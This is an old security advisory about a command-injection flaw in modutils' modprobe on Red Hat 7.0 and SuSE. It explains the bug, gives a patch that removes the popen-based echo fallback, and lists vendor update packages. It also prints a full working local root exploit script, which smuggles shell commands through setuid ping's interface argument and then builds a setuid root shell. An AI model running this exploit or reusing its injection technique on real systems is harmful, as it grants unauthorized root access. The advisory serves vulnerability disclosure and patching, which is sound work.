COMMAND
modutils
SYSTEMS AFFECTED
RedHat 7.0 (and SuSE)
PROBLEM
Michal Zalewski found following. This vulnerability has been
found by Sebastian Krahmer some time ago. Stupid shell command
execution within userspace kernel helper application, modprobe,
is something you do not want to see. But it happened. This issue
has been discussed as far back as 1996 or so on the linux-security
list, when the module requester du jour was called kerneld.
Well, Sebastian believed this vulnerability is really difficult to
exploit (at least in standard configurations), but after being
asked by Sebastian to do it, Michal found some time and decided
to investigate it more carefully. First of all, he tried to find
any way to exploit it in RH 6.2 environment with "upgraded"
modprobe. No success. Then, he switched to brand new, shiny RH
7.0 installation. And voila - nothing easier. Attached exploit
is somewhat hackish - abusing new ping utility in this system to
exploit modprobe vulnerability. As slashes in device name are
rejected by modprobe and environment is not preserved, this
exploit works in really weird way, operating on modprobe's pwd
(/), making it world-writable for a second.
If this exploit fails, it does not have to mean your modprobe is
secure; it might mean your system is equipped with, for example,
old /bin/ping utility, instead of new iputils software. You
should be aware that RedHat released some iputils updates, which
apparently seems to "accidentally" fix this particular way to
exploit it. But this utility is only an instrument used to
exploit the bug. You can play with other setuid programs,
/bin/ping6, privledged services etc. Be creative.
#!/bin/sh
echo
echo "RedHat 7.0 modutils exploit"
echo "(c) 2000 Michal Zalewski <lcamtuf@ids.pl>"
echo "Bug discovery: Sebastian Krahmer <krahmer@cs.uni-potsdam.de>"
echo
echo "Do not have to work on older / non-RH systems. This bug has been"
echo "introduced recently. Enjoy :)"
echo
echo "This exploit is really hackish, because slashes are not allowed in"
echo "modprobe parameters, thus we have to play in modprobe's cwd (/)."
echo
PING=/bin/ping6
test -u $PING || PING=/bin/ping
if [ ! -u $PING ]; then
echo "Sorry, no setuid ping."
exit 0
fi
echo "Phase 1: making / world-writable..."
$PING -I ';chmod o+w .' 195.117.3.59 &>/dev/null
sleep 1
echo "Phase 2: compiling helper application in /..."
cat >/x.c <<_eof_
main() {
setuid(0); seteuid(0);
system("chmod 755 /;rm -f /x; rm -f /x.c");
execl("/bin/bash","bash","-i",0);
}
_eof_
gcc /x.c -o /x
chmod 755 /x
echo "Phase 3: chown+chmod on our helper application..."
$PING -I ';chown 0 x' 195.117.3.59 &>/dev/null
sleep 1
$PING -I ';chmod +s x' 195.117.3.59 &>/dev/null
sleep 1
if [ ! -u /x ]; then
echo "Apparently, this is not exploitable on this system :("
exit 1
fi
echo "Voila! Entering rootshell..."
/x
echo "Thank you."
The invoking program does not have to be setuid. It has to pass
its parameters directly into the kernel, the kernel must be
compiled with kmod and kmod must pass the parameter directly to
modprobe.
SOLUTION
This bug was introduced to modutils in March 12 1999, it does not
affect modutils 2.1.121. modprobe tries echo as the last ditch
file expansion method, using popen. There is no good reason to
do that. It also does not affect version 2.3.11, which also mean
that Debian potato is not vulnerable.
Patch against modutils 2.3.19:
Index: 19.7/util/meta_expand.c
--- 19.7/util/meta_expand.c Sun, 10 Sep 2000 12:56:40 +1100 kaos (modutils-2.3/10_meta_expan 1.4 644)
+++ 19.7(w)/util/meta_expand.c Mon, 13 Nov 2000 21:19:41 +1100 kaos (modutils-2.3/10_meta_expan 1.4 644)
@@ -156,12 +156,8 @@ static int glob_it(char *pt, GLOB_LIST *
*/
int meta_expand(char *pt, GLOB_LIST *g, char *base_dir, char *version)
{
- FILE *fin;
- int len = 0;
- char *line = NULL;
char *p;
char tmpline[PATH_MAX + 1];
- char tmpcmd[PATH_MAX + 11];
g->pathc = 0;
g->pathv = NULL;
@@ -277,38 +273,6 @@ int meta_expand(char *pt, GLOB_LIST *g,
/* Only "=" remaining, should be module options */
split_line(g, pt, 0);
return 0;
- }
-
- /*
- * Last resort: Use "echo"
- */
- sprintf(tmpline, "%s%s", (base_dir ? base_dir : ""), pt);
- sprintf(tmpcmd, "/bin/echo %s", tmpline);
- if ((fin = popen(tmpcmd, "r")) == NULL) {
- error("Can't execute: %s", tmpcmd);
- return -1;
- }
- /* else */
-
- /*
- * Collect the result
- */
- while (fgets(tmpcmd, PATH_MAX, fin) != NULL) {
- int l = strlen(tmpcmd);
-
- line = (char *)xrealloc(line, len + l + 1);
- line[len] = '\0';
- strcat(line + len, tmpcmd);
- len += l;
- }
- pclose(fin);
-
- if (line) {
- /* Ignore result if no expansion occurred */
- strcat(tmpline, "\n");
- if (strcmp(tmpline, line))
- split_line(g, line, 0);
- free(line);
}
return 0;
For SuSE Linux:
ftp://ftp.suse.com/pub/suse/i386/update/7.0/a1/modules-2.3.11-73.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.4/a1/modules-2.3.9-63.i386.rpm
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/a1/modules-2.3.11-73.sparc.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.4/a1/modules-2.3.9-63.alpha.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/7.0/a1/modules-2.3.11-73.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/a1/modules-2.3.9-63.ppc.rpm
For Immunix OS:
http://www.immunix.org:8080/ImmunixOS/6.2/updates/RPMS/modutils-2.3.20-0.6.2_StackGuard.i386.rpm
http://www.immunix.org:8080/ImmunixOS/6.2/updates/SRPMS/modutils-2.3.20-0.6.2_StackGuard.src.rpm
http://www.immunix.org:8080/ImmunixOS/7.0-beta/updates/RPMS/modutils-2.3.20-1_StackGuard.i386.rpm
http://www.immunix.org:8080/ImmunixOS/7.0-beta/updates/SRPMS/modutils-2.3.20-1_StackGuard.src.rpm
For Linux-Mandrake:
Linux-Mandrake 7.1: 7.1/RPMS/modutils-2.3.20-1.2mdk.i586.rpm
7.1/SRPMS/modutils-2.3.20-1.2mdk.src.rpm
Linux-Mandrake 7.2: 7.2/RPMS/modutils-2.3.20-1.1mdk.i586.rpm
7.2/SRPMS/modutils-2.3.20-1.1mdk.src.rpm
For Red Hat:
ftp://updates.redhat.com/6.2/alpha/modutils-2.3.21-0.6.2.alpha.rpm
ftp://updates.redhat.com/6.2/sparc/modutils-2.3.21-0.6.2.sparc.rpm
ftp://updates.redhat.com/6.2/i386/modutils-2.3.21-0.6.2.i386.rpm
ftp://updates.redhat.com/6.2/SRPMS/modutils-2.3.21-0.6.2.src.rpm
ftp://updates.redhat.com/7.0/i386/modutils-2.3.21-1.i386.rpm
ftp://updates.redhat.com/7.0/SRPMS/modutils-2.3.21-1.src.rpm
For Connectiva Linux:
ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/modutils-2.3.21-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.1/i386/modutils-2.3.21-1cl.i386.rpm
For Debian:
http://security.debian.org/dists/potato/updates/main/source/modutils_2.3.11-13.1.diff.gz
http://security.debian.org/dists/potato/updates/main/source/modutils_2.3.11-13.1.dsc
http://security.debian.org/dists/potato/updates/main/binary-alpha/modutils_2.3.11-13.1_alpha.deb
http://security.debian.org/dists/potato/updates/main/binary-arm/modutils_2.3.11-13.1_arm.deb
http://security.debian.org/dists/potato/updates/main/binary-i386/modutils_2.3.11-13.1_i386.deb
http://security.debian.org/dists/potato/updates/main/binary-m68k/modutils_2.3.11-13.1_m68k.deb
http://security.debian.org/dists/potato/updates/main/binary-powerpc/modutils_2.3.11-13.1_powerpc.deb
http://security.debian.org/dists/potato/updates/main/binary-sparc/modutils_2.3.11-13.1_sparc.deb
For Linux-Mandrake:
Linux-Mandrake 7.1: 7.1/RPMS/modutils-2.3.21-1.2mdk.i586.rpm
7.1/SRPMS/modutils-2.3.21-1.2mdk.src.rpm
Linux-Mandrake 7.2: 7.2/RPMS/modutils-2.3.21-1.1mdk.i586.rpm
7.2/SRPMS/modutils-2.3.21-1.1mdk.src.rpm
For Immunix OS:
http://www.immunix.org/ImmunixOS/6.2/updates/RPMS/modutils-2.3.21-0.6.2_StackGuard.i386.rpm
http://www.immunix.org/ImmunixOS/6.2/updates/SRPMS/modutils-2.3.21-0.6.2_StackGuard.src.rpm
http://www.immunix.org/ImmunixOS/7.0-beta/updates/RPMS/modutils-2.3.21-1_StackGuard.i386.rpm
http://www.immunix.org/ImmunixOS/7.0-beta/updates/SRPMS/modutils-2.3.21-1_StackGuard.src.rpm